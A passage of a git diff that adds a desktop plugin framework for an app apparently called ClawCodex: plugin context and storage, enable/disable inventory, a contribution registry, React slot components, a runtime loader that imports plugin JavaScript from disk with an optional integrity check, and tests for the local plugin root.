+   *  Throttled per plugin; reserve it for genuinely notable events. */
+  notify: (input: PluginNativeNotificationInput) => void
+  /** Open a URL with the OS default handler (browser, mail client, custom
+   *  schemes like `spotify:`). Resolves false when the shell can't. */
+  openExternal: (url: string) => Promise<boolean>
+  /** Reveal a path in the OS file manager (Finder / Explorer). Resolves
+   *  false when unavailable. */
+  revealPath: (path: string) => Promise<boolean>
+  /** Write text to the system clipboard. Resolves false when unavailable. */
+  writeClipboard: (text: string) => Promise<boolean>
+}
+
+export interface PluginContext {
+  /** The resolved plugin source tag, e.g. `'plugin:cost-meter'`. */
+  readonly source: string
+  /** Register one contribution (id namespaced, source stamped). */
+  register: (c: PluginContribution) => () => void
+  /** Register several at once; the returned disposer removes all of them. */
+  registerMany: (cs: PluginContribution[]) => () => void
+  /** Register an arbitrary cleanup to run on unload/disable — for side effects
+   *  that aren't contributions or sockets (store subscriptions, timers). Runs
+   *  alongside every other disposer when the plugin deactivates. */
+  onDispose: (fn: () => void) => void
+  /** REST to this plugin's own backend namespace (`/api/plugins/<id>`); `path`
+   *  is relative ('/board'). The sanctioned door for a plugin that ships a
+   *  `plugin_api.py` — profile-aware, namespace-scoped by construction. Use
+   *  `host.request` for gateway JSON-RPC. */
+  rest: <T>(path: string, opts?: PluginRestOptions) => Promise<T>
+  /** Live twin of `rest`: a WebSocket to this plugin's own namespace
+   *  ('/events'), JSON frames to `onMessage`, auto-reconnect, disposer
+   *  returned. Resolves to a no-op on OAuth remotes — treat it as an
+   *  accelerator over your polling, never a replacement. */
+  socket: (path: string, onMessage: (data: unknown) => void) => () => void
+  /** The curated OS door: native notification, open-external, reveal-in-file-
+   *  manager, clipboard — attributed to this plugin, result-shaped (never
+   *  throws for a missing capability). */
+  os: PluginOs
+  /** Plugin-scoped persistence. */
+  storage: PluginStorage
+  /** Plugin-scoped i18n: ship + register locale bundles under this plugin,
+   *  resolved against the app's active locale — no core `en.ts` edit. */
+  i18n: PluginI18n
+}
+
+export interface ClawCodexPlugin {
+  /** Stable slug — becomes the `plugin:<id>` source and the id namespace. */
+  id: string
+  /** Human name for settings / about UI. */
+  name?: string
+  /** Registers on load when the user hasn't chosen (default true). Set false
+   *  for opt-in plugins: they inventory in Settings ▸ Plugins, off until the
+   *  user flips the switch. */
+  defaultEnabled?: boolean
+  /** Called once at load; wire contributions through `ctx`. */
+  register: (ctx: PluginContext) => void
+}
+
+function createPluginStorage(pluginId: string): PluginStorage {
+  const scoped = (key: string) => `clawcodex.plugin.${pluginId}.${key}`
+
+  return {
+    get(key, fallback) {
+      const raw = readKey(scoped(key))
+
+      if (raw === null) {
+        return fallback
+      }
+
+      try {
+        return JSON.parse(raw)
+      } catch {
+        return fallback
+      }
+    },
+    set: (key, value) => writeKey(scoped(key), JSON.stringify(value)),
+    remove: key => writeKey(scoped(key), null)
+  }
+}
+
+// Never throws for a missing capability: the renderer can outlive an older
+// Electron shell (or run in a plain browser), so every door degrades to a
+// false result the plugin can branch on.
+function createPluginOs(pluginId: string): PluginOs {
+  const attempt = async (run: (bridge: NonNullable<typeof window.clawcodexDesktop>) => Promise<boolean>) => {
+    const bridge = typeof window === 'undefined' ? undefined : window.clawcodexDesktop
+
+    if (!bridge) {
+      return false
+    }
+
+    try {
+      return await run(bridge)
+    } catch {
+      return false
+    }
+  }
+
+  return {
+    notify: input => dispatchPluginNativeNotification(pluginId, input),
+    openExternal: url =>
+      attempt(async bridge => {
+        await bridge.openExternal(url)
+
+        return true
+      }),
+    revealPath: path => attempt(async bridge => (bridge.revealPath ? bridge.revealPath(path) : false)),
+    writeClipboard: text => attempt(bridge => bridge.writeClipboard(text))
+  }
+}
+
+/** Build the scoped context handed to a plugin's `register`. `onDispose`
+ *  receives every registration's disposer (the loader's unload/reload hook). */
+export function createPluginContext(pluginId: string, onDispose?: (dispose: () => void) => void): PluginContext {
+  const source = `plugin:${pluginId}`
+  const scope = (c: PluginContribution): Contribution => ({ ...c, id: `${pluginId}:${c.id}`, source })
+
+  const track = (dispose: () => void) => {
+    onDispose?.(dispose)
+
+    return dispose
+  }
+
+  return {
+    source,
+    register: c => track(registry.register(scope(c))),
+    registerMany: cs => track(registry.registerMany(cs.map(scope))),
+    onDispose: fn => void track(fn),
+    rest: <T>(path: string, opts?: PluginRestOptions) => pluginRest<T>(pluginId, path, opts),
+    socket: (path, onMessage) => track(pluginSocket(pluginId, path, onMessage)),
+    os: createPluginOs(pluginId),
+    storage: createPluginStorage(pluginId),
+    i18n: createPluginI18n(pluginId, track)
+  }
+}
diff --git a/ui-desktop/src/contrib/plugins-store.ts b/ui-desktop/src/contrib/plugins-store.ts
new file mode 100644
index 000000000..38cbc8436
--- /dev/null
+++ b/ui-desktop/src/contrib/plugins-store.ts
@@ -0,0 +1,124 @@
+/**
+ * PLUGIN INVENTORY — the reactive record of every desktop plugin the app
+ * knows about (bundled `src/plugins/*`, the in-repo runtime example, the
+ * `<clawcodex home>/desktop-plugins/*` disk door — incl. agent-written ones),
+ * plus the persisted DISABLED set. The settings "Plugins" page renders this;
+ * the loaders publish into it and consult the disabled set before
+ * registering. Enable/disable is live: each record carries the loader's own
+ * activate/deactivate handles, so toggling never needs an app reload.
+ */
+
+import { atom } from 'nanostores'
+
+export type PluginKind = 'bundled' | 'disk' | 'runtime'
+export type PluginStatus = 'disabled' | 'error' | 'loaded'
+
+export interface PluginRecord {
+  id: string
+  name: string
+  kind: PluginKind
+  status: PluginStatus
+  /** Load/registration failure message (status 'error'). */
+  error?: string
+  /** Absolute plugin.js path (disk plugins) — powers "Reveal in Finder". */
+  file?: string
+}
+
+// Explicit user enable/disable choices, id -> boolean. ABSENCE means "no
+// choice" — the plugin falls back to its own `defaultEnabled`. This is what
+// lets an opt-in plugin ship off-by-default: absence ≠ enabled anymore.
+const DECISIONS_KEY = 'clawcodex.desktop.pluginDecisions.v2'
+const LEGACY_DISABLED_KEY = 'clawcodex.desktop.disabledPlugins.v1'
+
+function loadDecisions(): Record<string, boolean> {
+  try {
+    const raw = window.localStorage.getItem(DECISIONS_KEY)
+
+    if (raw) {
+      return JSON.parse(raw) as Record<string, boolean>
+    }
+
+    // Migrate the v1 disabled-set: each disabled id becomes an explicit `false`.
+    const legacy = window.localStorage.getItem(LEGACY_DISABLED_KEY)
+
+    if (legacy) {
+      return Object.fromEntries((JSON.parse(legacy) as string[]).map(id => [id, false]))
+    }
+  } catch {
+    // Nonfatal — fall through to no choices.
+  }
+
+  return {}
+}
+
+export const $pluginDecisions = atom<Record<string, boolean>>(loadDecisions())
+
+/** Whether a plugin should register: the user's explicit choice if any, else
+ *  the plugin's own default (true for ordinary plugins, false for opt-in). */
+export function pluginActive(id: string, defaultEnabled = true): boolean {
+  const decisions = $pluginDecisions.get()
+
+  return id in decisions ? decisions[id] : defaultEnabled
+}
+
+function saveDecisions(next: Record<string, boolean>) {
+  $pluginDecisions.set(next)
+
+  try {
+    window.localStorage.setItem(DECISIONS_KEY, JSON.stringify(next))
+  } catch {
+    // Nonfatal.
+  }
+}
+
+export const $pluginRecords = atom<Record<string, PluginRecord>>({})
+
+/** Loader-owned lifecycle controls for a plugin (activate/deactivate). */
+interface PluginHandle {
+  activate: () => Promise<void> | void
+  deactivate: () => void
+}
+
+/** Loader-owned lifecycle handles, keyed by plugin id. */
+const handles = new Map<string, PluginHandle>()
+
+/** Publish/refresh a plugin's record + its activate/deactivate handles. */
+export function publishPlugin(record: PluginRecord, handle?: PluginHandle): void {
+  $pluginRecords.set({ ...$pluginRecords.get(), [record.id]: record })
+
+  if (handle) {
+    handles.set(record.id, handle)
+  }
+}
+
+export function patchPlugin(id: string, patch: Partial<PluginRecord>): void {
+  const current = $pluginRecords.get()[id]
+
+  if (current) {
+    $pluginRecords.set({ ...$pluginRecords.get(), [id]: { ...current, ...patch } })
+  }
+}
+
+export function dropPlugin(id: string): void {
+  const { [id]: _dropped, ...rest } = $pluginRecords.get()
+  $pluginRecords.set(rest)
+  handles.delete(id)
+}
+
+/** Live toggle: deactivate + remember, or forget + reactivate. */
+export async function setPluginEnabled(id: string, enabled: boolean): Promise<void> {
+  saveDecisions({ ...$pluginDecisions.get(), [id]: enabled })
+
+  const handle = handles.get(id)
+
+  if (!handle) {
+    return
+  }
+
+  if (enabled) {
+    await handle.activate()
+  } else {
+    handle.deactivate()
+    patchPlugin(id, { status: 'disabled' })
+  }
+}
diff --git a/ui-desktop/src/contrib/plugins.ts b/ui-desktop/src/contrib/plugins.ts
new file mode 100644
index 000000000..5bc0e8999
--- /dev/null
+++ b/ui-desktop/src/contrib/plugins.ts
@@ -0,0 +1,74 @@
+/**
+ * Plugin discovery — both delivery modes:
+ *
+ *  - BUNDLED: every `src/plugins/<name>/plugin.{ts,tsx}` default-exporting a
+ *    `ClawCodexPlugin` registers automatically (vite glob — drop a folder in).
+ *    None ship in-tree today; reference/demo plugins live in the companion
+ *    `clawcodex-example-plugins` repo.
+ *  - RUNTIME: the on-disk door (`<clawcodex home>/desktop-plugins/<name>/plugin.js`)
+ *    — the agent's/user's door, watched + hot-reloaded by the runtime loader.
+ */
+
+import { type ClawCodexPlugin, createPluginContext } from './plugin'
+import { pluginActive, publishPlugin } from './plugins-store'
+import { watchRuntimePlugins } from './runtime-loader'
+
+const modules = import.meta.glob<{ default: ClawCodexPlugin }>('../plugins/*/plugin.{ts,tsx}', { eager: true })
+
+// One-shot init guard. Contributions themselves register by id (re-registering
+// is idempotent), but the disk-door watcher setup below (watchRuntimePlugins)
+// must NOT run twice — so discovery is guarded to a single pass, not re-run on
+// HMR.
+let loaded = false
+
+export function discoverBundledPlugins(): void {
+  if (loaded) {
+    return
+  }
+
+  loaded = true
+
+  for (const [path, mod] of Object.entries(modules)) {
+    const plugin = mod.default
+
+    if (!plugin?.id || typeof plugin.register !== 'function') {
+      console.warn(`[plugins] ${path} has no valid default ClawCodexPlugin export — skipped`)
+
+      continue
+    }
+
+    // Same inventory + live-toggle contract as runtime plugins: each bundled
+    // plugin publishes a record with activate/deactivate handles, and a
+    // persisted disable survives boots by skipping registration here.
+    const record = { id: plugin.id, name: plugin.name ?? plugin.id, kind: 'bundled' as const }
+    let disposers: (() => void)[] = []
+
+    const activate = () => {
+      disposers.forEach(dispose => dispose())
+      disposers = []
+
+      try {
+        plugin.register(createPluginContext(plugin.id, dispose => disposers.push(dispose)))
+        publishPlugin({ ...record, status: 'loaded' })
+      } catch (error) {
+        console.error(`[plugins] ${plugin.id} failed to register`, error)
+        publishPlugin({ ...record, status: 'error', error: error instanceof Error ? error.message : String(error) })
+      }
+    }
+
+    const deactivate = () => {
+      disposers.forEach(dispose => dispose())
+      disposers = []
+    }
+
+    publishPlugin({ ...record, status: 'disabled' }, { activate, deactivate })
+
+    if (pluginActive(plugin.id, plugin.defaultEnabled ?? true)) {
+      activate()
+    }
+  }
+
+  // The SELF-MAINTAINING disk door (fs-watched hot reloads, slow folder
+  // reconciliation) — the runtime loader pipeline's real, shipping consumer.
+  watchRuntimePlugins()
+}
diff --git a/ui-desktop/src/contrib/react/boundary.tsx b/ui-desktop/src/contrib/react/boundary.tsx
new file mode 100644
index 000000000..570ba6c8f
--- /dev/null
+++ b/ui-desktop/src/contrib/react/boundary.tsx
@@ -0,0 +1,59 @@
+import type { ReactNode } from 'react'
+
+import { ErrorBoundary } from '@/components/error-boundary'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { ErrorState } from '@/components/ui/error-state'
+import { Tip } from '@/components/ui/tooltip'
+
+interface ContribBoundaryProps {
+  children: ReactNode
+  /** Contribution key, shown in the fallback + console tag. */
+  id: string
+  /** `chip` = inline bar item (tiny fallback); `pane` = zone body. */
+  variant?: 'chip' | 'pane'
+}
+
+/**
+ * The blast wall between a contribution's `render()` and the app. Plugin
+ * code throwing during render (bad import, undefined component, logic bug)
+ * degrades to a small inline error in ITS slot — the surrounding bar/zone,
+ * other plugins, and the app keep working. Every surface that mounts
+ * contribution renders wraps them in this.
+ *
+ * The pane fallback uses the app's canonical `ErrorState` (same icon/title/body
+ * as the React boundary and dialog errors) so a crashed contribution reads like
+ * every other failure, not a raw stack dump.
+ */
+export function ContribBoundary({ children, id, variant = 'pane' }: ContribBoundaryProps) {
+  return (
+    <ErrorBoundary
+      fallback={({ error, reset }) =>
+        variant === 'chip' ? (
+          <Tip label={`${id}: ${error.message}`}>
+            <button
+              className="inline-flex items-center gap-1 rounded px-1.5 text-[0.6875rem] text-destructive transition-colors hover:bg-(--chrome-action-hover)"
+              onClick={reset}
+              type="button"
+            >
+              <Codicon name="warning" size="0.7rem" />
+              {id}
+            </button>
+          </Tip>
+        ) : (
+          <div className="grid h-full place-items-center p-6">
+            <ErrorState description={error.message} title={`“${id}” failed to render`}>
+              <Button className="justify-self-center" onClick={reset} size="sm" variant="outline">
+                <Codicon name="refresh" size="0.8rem" />
+                Retry
+              </Button>
+            </ErrorState>
+          </div>
+        )
+      }
+      label={`contrib:${id}`}
+    >
+      {children}
+    </ErrorBoundary>
+  )
+}
diff --git a/ui-desktop/src/contrib/react/contribute.tsx b/ui-desktop/src/contrib/react/contribute.tsx
new file mode 100644
index 000000000..4526e3cdb
--- /dev/null
+++ b/ui-desktop/src/contrib/react/contribute.tsx
@@ -0,0 +1,51 @@
+/**
+ * Mount-scoped contribution — the "reverse portal" companion to `Slot`.
+ *
+ * `ctx.register` is for PERMANENT contributions (registered at plugin load,
+ * alive for the plugin's lifetime). `<Contribute>` is for chrome that belongs
+ * to a mounted surface: while the owning component is mounted, `children`
+ * render inside the target area's Slot; on unmount the contribution disposes
+ * itself. No route sniffing, no `when()` polling — React's lifecycle IS the
+ * visibility contract (a page's titlebar control leaves with the page).
+ *
+ * Children stay LIVE: they're projected through a nanostore the registered
+ * render subscribes to, so caller state flows into the slot on every render
+ * without re-registering (which would churn every other slot).
+ */
+
+import { useStore } from '@nanostores/react'
+import { atom, type WritableAtom } from 'nanostores'
+import { type ReactNode, useEffect, useRef } from 'react'
+
+import { registry } from '../registry'
+
+function ProjectedNode({ $node }: { $node: WritableAtom<ReactNode> }) {
+  return <>{useStore($node)}</>
+}
+
+export interface ContributeProps {
+  /** Target area id (e.g. `titleBar.center`). */
+  area: string
+  /** Stable contribution id — namespace it (`kanban:board-switcher`). */
+  id: string
+  order?: number
+  children: ReactNode
+}
+
+export function Contribute({ area, children, id, order }: ContributeProps) {
+  const $node = useRef<WritableAtom<ReactNode>>(null!)
+
+  $node.current ??= atom<ReactNode>(null)
+
+  // Push the latest children into the projection after every render.
+  useEffect(() => {
+    $node.current.set(children)
+  })
+
+  useEffect(
+    () => registry.register({ area, id, order, render: () => <ProjectedNode $node={$node.current} /> }),
+    [area, id, order]
+  )
+
+  return null
+}
diff --git a/ui-desktop/src/contrib/react/slot.tsx b/ui-desktop/src/contrib/react/slot.tsx
new file mode 100644
index 000000000..802cc0bf8
--- /dev/null
+++ b/ui-desktop/src/contrib/react/slot.tsx
@@ -0,0 +1,26 @@
+import { ContribBoundary } from './boundary'
+import { useContributions } from './use-contributions'
+
+export interface SlotProps {
+  /** Area id whose contributions render inline, in order. */
+  area: string
+}
+
+/** Renders a bar area: ordered inline items `[...core, ...plugin]`. */
+export function Slot({ area }: SlotProps) {
+  const items = useContributions(area)
+
+  if (items.length === 0) {
+    return null
+  }
+
+  return (
+    <>
+      {items.map(c => (
+        <ContribBoundary id={c.id} key={`${c.source ?? 'core'}:${c.id}`} variant="chip">
+          {c.render?.()}
+        </ContribBoundary>
+      ))}
+    </>
+  )
+}
diff --git a/ui-desktop/src/contrib/react/use-contributions.ts b/ui-desktop/src/contrib/react/use-contributions.ts
new file mode 100644
index 000000000..a7486ec1c
--- /dev/null
+++ b/ui-desktop/src/contrib/react/use-contributions.ts
@@ -0,0 +1,14 @@
+import { useCallback, useSyncExternalStore } from 'react'
+
+import { registry } from '../registry'
+import type { Contribution } from '../types'
+
+/** Subscribe to the resolved contributions for an area. The subscription is
+ *  scoped to `area`, so a slot re-renders only when ITS area mutates — a
+ *  statusbar registration never re-renders a titlebar (or panes) slot. */
+export function useContributions(area: string): readonly Contribution[] {
+  const subscribe = useCallback((onChange: () => void) => registry.subscribeArea(area, onChange), [area])
+  const getSnapshot = useCallback(() => registry.getArea(area), [area])
+
+  return useSyncExternalStore(subscribe, getSnapshot, getSnapshot)
+}
diff --git a/ui-desktop/src/contrib/registry.ts b/ui-desktop/src/contrib/registry.ts
new file mode 100644
index 000000000..1a8f1f2e1
--- /dev/null
+++ b/ui-desktop/src/contrib/registry.ts
@@ -0,0 +1,162 @@
+import { atom } from 'nanostores'
+
+import type { Contribution } from './types'
+
+/** Bumped on every registry mutation — the reactive hook for non-React
+ *  consumers (nanostores `computed`s, memo deps) that read `registry.getArea`
+ *  imperatively. React trees should keep using `useContributions`. */
+export const $registryVersion = atom(0)
+
+type Listener = () => void
+
+const EMPTY: readonly Contribution[] = Object.freeze([])
+
+/**
+ * The one registry every area reads from. Keyed by namespaced area id so the
+ * same primitive resolves at any depth of the recursive Area scene graph
+ * (`statusBar.right`, `rightColumn.panel`, `capabilities.detail.actions`, ...).
+ *
+ * Snapshots are cached per area and only invalidated on mutation so the value
+ * is referentially stable for `useSyncExternalStore` (no render loops).
+ *
+ * Invalidation is AREA-SCOPED: mutating one area only clears that area's
+ * snapshot and only notifies subscribers of that area, so registering a
+ * statusbar item can never re-render a titlebar slot (or any other unrelated
+ * area). `registerMany`/`removeMany` collapse a batch into one notification
+ * per touched area. A global listener channel (`subscribe`) still fires on
+ * every mutation for engines that react to any change (pane adoption).
+ *
+ * Note: cache invalidation is mutation-driven, so a purely dynamic `when()`
+ * that flips without a register/remove won't re-resolve on its own -- fine for
+ * the current surfaces (no dynamic `when` is in use); revisit if we need
+ * reactive `when`.
+ */
+class ContributionRegistry {
+  private byArea = new Map<string, Contribution[]>()
+  private snapshot = new Map<string, readonly Contribution[]>()
+  private areaListeners = new Map<string, Set<Listener>>()
+  private globalListeners = new Set<Listener>()
+
+  /** Register one contribution. Returns a disposer that removes it. */
+  register = (c: Contribution): (() => void) => this.registerMany([c])
+
+  /** Register several at once. Returns a disposer that removes all of them.
+   *  A batch touches each affected area exactly once — no per-item churn. */
+  registerMany = (cs: Contribution[]): (() => void) => {
+    cs.forEach(c => this.put(c))
+    this.invalidate(cs.map(c => c.area))
+
+    return () => this.removeMany(cs.map(c => ({ area: c.area, id: c.id })))
+  }
+
+  /** Resolved, sorted, filtered entries for an area. Stable ref until mutated. */
+  getArea = (area: string): readonly Contribution[] => {
+    const cached = this.snapshot.get(area)
+
+    if (cached) {
+      return cached
+    }
+
+    const raw = this.byArea.get(area)
+
+    const resolved: readonly Contribution[] =
+      !raw || raw.length === 0
+        ? EMPTY
+        : raw
+            .filter(c => c.enabled !== false && (c.when ? c.when() : true))
+            .sort((a, b) => (a.order ?? 0) - (b.order ?? 0))
+
+    this.snapshot.set(area, resolved)
+
+    return resolved
+  }
+
+  /** Subscribe to ANY registry mutation (engines that react to every change,
+   *  e.g. pane adoption). React trees should prefer `subscribeArea`. */
+  subscribe = (fn: Listener): (() => void) => {
+    this.globalListeners.add(fn)
+
+    return () => {
+      this.globalListeners.delete(fn)
+    }
+  }
+
+  /** Subscribe to mutations of ONE area only — the leaf-level channel behind
+   *  `useContributions`, so a slot re-renders solely for its own area. */
+  subscribeArea = (area: string, fn: Listener): (() => void) => {
+    const set = this.areaListeners.get(area) ?? new Set<Listener>()
+    set.add(fn)
+    this.areaListeners.set(area, set)
+
+    return () => {
+      set.delete(fn)
+
+      if (set.size === 0) {
+        this.areaListeners.delete(area)
+      }
+    }
+  }
+
+  private removeMany(entries: { area: string; id: string }[]) {
+    const changed: string[] = []
+
+    for (const { area, id } of entries) {
+      if (this.take(area, id)) {
+        changed.push(area)
+      }
+    }
+
+    if (changed.length) {
+      this.invalidate(changed)
+    }
+  }
+
+  /** Insert/replace an entry without notifying (batchable). */
+  private put(c: Contribution) {
+    const list = this.byArea.get(c.area) ?? []
+    this.byArea.set(c.area, [...list.filter(e => e.id !== c.id), c])
+  }
+
+  /** Remove an entry without notifying (batchable). Returns whether it existed. */
+  private take(area: string, id: string): boolean {
+    const list = this.byArea.get(area)
+
+    if (!list) {
+      return false
+    }
+
+    const next = list.filter(e => e.id !== id)
+
+    if (next.length === list.length) {
+      return false
+    }
+
+    if (next.length) {
+      this.byArea.set(area, next)
+    } else {
+      this.byArea.delete(area)
+    }
+
+    return true
+  }
+
+  private invalidate(areas: readonly string[]) {
+    const unique = new Set(areas)
+
+    for (const area of unique) {
+      this.snapshot.delete(area)
+
+      const listeners = this.areaListeners.get(area)
+
+      if (listeners) {
+        listeners.forEach(l => l())
+      }
+    }
+
+    // Global listeners fire once per batch, regardless of how many areas moved.
+    this.globalListeners.forEach(l => l())
+    $registryVersion.set($registryVersion.get() + 1)
+  }
+}
+
+export const registry = new ContributionRegistry()
diff --git a/ui-desktop/src/contrib/runtime-loader.test.ts b/ui-desktop/src/contrib/runtime-loader.test.ts
new file mode 100644
index 000000000..dcda50897
--- /dev/null
+++ b/ui-desktop/src/contrib/runtime-loader.test.ts
@@ -0,0 +1,77 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type * as ClawCodexModule from '@/clawcodex'
+import type { ClawCodexReadDirResult } from '@/global'
+
+import { discoverRuntimePlugins, watchRuntimePlugins } from './runtime-loader'
+
+// getStatus would supply the connected backend's clawcodex_home — a REMOTE path in
+// remote mode. The disk scanner must NOT derive the plugin root from it (#66899).
+const getStatus = vi.fn(async () => ({ clawcodex_home: '/remote/box/.clawcodex' }))
+
+vi.mock('@/clawcodex', async importActual => ({
+  ...(await importActual<typeof ClawCodexModule>()),
+  getStatus: () => getStatus()
+}))
+
+const desktopPluginsRoot = vi.fn<() => Promise<string>>()
+const readDir = vi.fn<(path: string) => Promise<ClawCodexReadDirResult>>()
+const watchDirectory = vi.fn<(path: string) => Promise<{ id: string }>>()
+const onPreviewFileChanged = vi.fn()
+
+beforeEach(() => {
+  desktopPluginsRoot.mockReset()
+  readDir.mockReset()
+  watchDirectory.mockReset()
+  onPreviewFileChanged.mockReset()
+  getStatus.mockClear()
+  ;(window as unknown as { clawcodexDesktop: unknown }).clawcodexDesktop = {
+    desktopPluginsRoot,
+    onPreviewFileChanged,
+    readDir,
+    watchDirectory
+  }
+})
+
+afterEach(() => {
+  delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+})
+
+describe('scanDiskPlugins (#66899)', () => {
+  it('scans the Electron-resolved local root, never the backend clawcodex_home', async () => {
+    desktopPluginsRoot.mockResolvedValue('/local/.clawcodex/desktop-plugins')
+    readDir.mockResolvedValue({ entries: [] })
+
+    await discoverRuntimePlugins()
+
+    expect(desktopPluginsRoot).toHaveBeenCalled()
+    expect(readDir).toHaveBeenCalledWith('/local/.clawcodex/desktop-plugins')
+    // The remote backend's clawcodex_home must never feed the local plugin scan.
+    expect(getStatus).not.toHaveBeenCalled()
+    expect(readDir).not.toHaveBeenCalledWith('/remote/box/.clawcodex/desktop-plugins')
+  })
+
+  it('no-ops when the resolver yields no local root', async () => {
+    desktopPluginsRoot.mockResolvedValue('')
+
+    await discoverRuntimePlugins()
+
+    expect(readDir).not.toHaveBeenCalled()
+  })
+})
+
+describe('watchRuntimePlugins dir watch (#66899)', () => {
+  it('watches the Electron-resolved local root, never the backend clawcodex_home', async () => {
+    desktopPluginsRoot.mockResolvedValue('/local/.clawcodex/desktop-plugins')
+    readDir.mockResolvedValue({ entries: [] })
+    watchDirectory.mockResolvedValue({ id: 'watch-1' })
+
+    watchRuntimePlugins()
+    // Drain the async scan + startDirWatch chains.
+    await vi.waitFor(() => expect(watchDirectory).toHaveBeenCalled())
+
+    expect(watchDirectory).toHaveBeenCalledWith('/local/.clawcodex/desktop-plugins')
+    expect(watchDirectory).not.toHaveBeenCalledWith('/remote/box/.clawcodex/desktop-plugins')
+    expect(getStatus).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/contrib/runtime-loader.ts b/ui-desktop/src/contrib/runtime-loader.ts
new file mode 100644
index 000000000..8b602707e
--- /dev/null
+++ b/ui-desktop/src/contrib/runtime-loader.ts
@@ -0,0 +1,395 @@
+/**
+ * Runtime plugin loader — plugins as CODE, not registry edits, loaded after
+ * build time. The pipeline every non-bundled plugin takes:
+ *
+ *   source (plain ESM js) -> [integrity check] -> bare-specifier rewrite
+ *   (`@clawcodex/plugin-sdk` / `react*` -> live shim blobs, see sdk/runtime.ts)
+ *   -> blob `import()` -> validate default ClawCodexPlugin -> register(ctx)
+ *
+ * Loading the same plugin id again disposes the previous registrations first
+ * (agent rewrites a plugin file -> clean reload). Failures toast + log; a
+ * broken plugin can never take the app down.
+ *
+ * Sources today: the in-repo runtime example (`?raw`, proves the pipeline)
+ * and `<clawcodex home>/desktop-plugins/<name>/plugin.js` on disk — the door the
+ * agent writes through.
+ *
+ * SECURITY — this is NOT a capability boundary. A loaded plugin is evaluated
+ * as ESM in the renderer realm with FULL app authority: the React singleton,
+ * the whole SDK (`host.request` gateway RPC, `ctx.rest`, storage, `navigate`).
+ * The isolation here is *error* isolation only (ContribBoundary, isolated
+ * listeners) — a plugin can't crash the app, but it can do anything the app
+ * can. That's acceptable for local sources (disk files can already run code),
+ * and `integrity` only proves the bytes match a hash — it does NOT sandbox.
+ * A remote source (https + allowlist) must NOT reuse this pipeline as-is:
+ * it needs a real boundary (iframe/worker + CSP + capability gating) before
+ * it can land. The `{ integrity }` option is the transport seam, not the
+ * trust seam.
+ */
+
+import { installPluginSdk, sdkImportMap } from '@/sdk/runtime'
+import { notifyError } from '@/store/notifications'
+
+import { type ClawCodexPlugin, createPluginContext } from './plugin'
+import { dropPlugin, pluginActive, type PluginKind, publishPlugin } from './plugins-store'
+
+interface LoadOptions {
+  /** Absolute plugin.js path (disk plugins) — recorded for reveal/inventory. */
+  file?: string
+  /** `sha256-<base64>` — verified against the source before evaluation. */
+  integrity?: string
+  /** Inventory bucket; the disk door is the default runtime source. */
+  kind?: PluginKind
+}
+
+/** Live runtime plugins: id -> disposers (unload/reload support). */
+const loaded = new Map<string, (() => void)[]>()
+
+// Matches the specifier of a static `from '…'`, a side-effect `import '…'`, or
+// a dynamic `import('…')` — anchored to import/export syntax so a bare string
+// literal or comment (e.g. `notify('react')`) is never touched.
+const importSpecifierRe = () => /(from\s*|import\s*\(\s*|import\s+)(['"])([^'"]+)\2/g
+
+/** Rewrite ONLY mapped import specifiers (@clawcodex/plugin-sdk, react*) to their
+ *  live shim blob URLs — never occurrences inside strings/comments. */
+function rewriteSpecifiers(source: string): string {
+  const map = sdkImportMap()
+
+  return source.replace(importSpecifierRe(), (whole, pre, quote, spec) =>
+    map[spec] ? `${pre}${quote}${map[spec]}${quote}` : whole
+  )
+}
+
+/** Bare import specifiers the loader can't resolve (not relative/URL, not in
+ *  the SDK map). Surfaced up-front so they don't fail as a cryptic native
+ *  "Failed to resolve module specifier" from the blob import. */
+function unsupportedImports(source: string): string[] {
+  const map = sdkImportMap()
+  const bare = new Set<string>()
+
+  for (const m of source.matchAll(importSpecifierRe())) {
+    const spec = m[3]
+
+    // Skip relative/absolute (./ ../ /) and any URL scheme (blob: http(s):).
+    if (spec && !/^[./]/.test(spec) && !/^[a-z][a-z0-9+.-]*:/i.test(spec) && !map[spec]) {
+      bare.add(spec)
+    }
+  }
+
+  return [...bare]
+}
+
+async function verifyIntegrity(source: string, integrity: string): Promise<boolean> {
+  const [algo, expected] = integrity.split('-', 2)
+
+  if (algo !== 'sha256' || !expected) {
+    return false
+  }
+
+  const digest = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(source))
+  // Standard SRI base64 (`sha256-<base64>`) — a base64url-encoded hash won't match.
+  const actual = btoa(String.fromCharCode(...new Uint8Array(digest)))
+
+  return actual === expected
+}
+
+export function unloadRuntimePlugin(id: string): void {
+  loaded.get(id)?.forEach(dispose => dispose())
+  loaded.delete(id)
+}
+
+/** Evaluate + register one runtime plugin. Returns its id, or null on failure. */
+export async function loadRuntimePlugin(
+  source: string,
+  origin: string,
+  options: LoadOptions = {}
+): Promise<null | string> {
+  installPluginSdk()
+
+  try {
+    if (options.integrity && !(await verifyIntegrity(source, options.integrity))) {
+      throw new Error(`integrity check failed for ${origin}`)
+    }
+
+    const unsupported = unsupportedImports(source)
+
+    if (unsupported.length > 0) {
+      throw new Error(
+        `unsupported import${unsupported.length > 1 ? 's' : ''}: ${unsupported.join(', ')} — ` +
+          `runtime plugins may only import @clawcodex/plugin-sdk and react`
+      )
+    }
+
+    const url = URL.createObjectURL(new Blob([rewriteSpecifiers(source)], { type: 'text/javascript' }))
+
+    let mod: { default?: ClawCodexPlugin }
+
+    try {
+      mod = await import(/* @vite-ignore */ url)
+    } finally {
+      URL.revokeObjectURL(url)
+    }
+
+    const plugin = mod.default
+
+    if (!plugin?.id || typeof plugin.register !== 'function') {
+      throw new Error(`${origin} has no valid default ClawCodexPlugin export`)
+    }
+
+    const record = {
+      id: plugin.id,
+      name: plugin.name ?? plugin.id,
+      kind: options.kind ?? 'disk',
+      file: options.file
+    }
+
+    const activate = () => {
+      // Reload = dispose the previous incarnation, then register fresh.
+      unloadRuntimePlugin(plugin.id)
+      const disposers: (() => void)[] = []
+      plugin.register(createPluginContext(plugin.id, dispose => disposers.push(dispose)))
+      loaded.set(plugin.id, disposers)
+      publishPlugin({ ...record, status: 'loaded' })
+    }
+
+    publishPlugin({ ...record, status: 'disabled' }, { activate, deactivate: () => unloadRuntimePlugin(plugin.id) })
+
+    // A disabled plugin still inventories (settings shows it, toggle
+    // reactivates via the handle above) — it just never registers.
+    if (pluginActive(plugin.id, plugin.defaultEnabled ?? true)) {
+      activate()
+    }
+
